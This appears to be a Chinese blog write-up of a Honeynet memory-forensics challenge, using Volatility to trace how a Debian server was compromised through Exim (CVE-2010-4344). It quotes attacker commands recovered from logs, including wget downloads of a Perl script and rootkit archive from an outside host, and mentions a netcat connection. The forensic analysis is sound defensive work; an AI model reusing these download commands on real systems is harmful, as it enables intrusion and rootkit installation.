记一次Linux镜像取证

loading

本文首发于i春秋:https://bbs.ichunqiu.com/thread-56889-1-5.html
题目地址:http://www.honeynet.org/challenges/2011_7_compromised_server
使用工具:volatility

查看题目要求

linux-quzhen-1

下载这三个镜像并将victoria-v8.sda1.img挂载到/mnt目录下

1
sudo mount -o loop victoria-v8.sda1.img /mnt

/mnt目录下可以看见

linux-quzhen-2

首先查看系统版本

1
cat etc/issue

linux-quzhen-3

var/log目录下查看Linux的版本

linux-quzhen-4

然后制作版本对应的profile,可自己手动制作,也可以使用github上制作好的
Github项目:https://github.com/volatilityfoundation/profiles

linux-quzhen-5

下载debian5010解压后放在/volatility/plugins/overlays/linux目录下

1
python vol.py --info

linux-quzhen-6

现在开始分析镜像文件

1
python vol.py -f /home/reder/Desktop/tools/取证/取证镜像/victoria-v8.memdump.img --profile=LinuxDebian5010x86 linux_psaux

可以看见以下的输出

linux-quzhen-7

我们可以发现一个可疑的nc连接,连接到192.168.56.1端口是8888
查看网络信息:

1
python vol.py -f /home/reder/Desktop/tools/取证/取证镜像/victoria-v8.memdump.img --profile=LinuxDebian5010x86 linux_netstat

linux-quzhen-8

1
2
TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065
TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065

有两个已经关闭的连接。

查看bash记录:

1
python vol.py -f /home/reder/Desktop/tools/取证/取证镜像/victoria-v8.memdump.img --profile=LinuxDebian5010x86 linux_bash

linux-quzhen-9

可以发现复制了exim4目录下的所有文件,我们切换至/mnt/var/log/exim4目录下,运行su后进入,查看rejectlog

1
cat rejectlog

linux-quzhen-10

linux-quzhen-11

linux-quzhen-12

日志显示IP 192.168.56.101作为发送邮件的主机,结合上面已经关闭的连接,基本表明192.168.56.101是一个攻击IP

wget http://192.168.56.1/c.pl -O /tmp/c.pl
wget http://192.168.56.1/rk.tar -O /tmp/rk.tar

攻击者下载了c.plrk.tar两个文件到/tmp
查看一下c.pl

linux-quzhen-13

是一个perl脚本文件,可以自行审计。

查看日志

1
auth.log

linux-quzhen-14

linux-quzhen-15

可发现攻击者爆破了192.168.56.1ssh密码,但是最终并未成功。

综上可以基本确定攻击者通过Exim进行攻击的。漏洞编号为CVE-2010-4344

声明

评论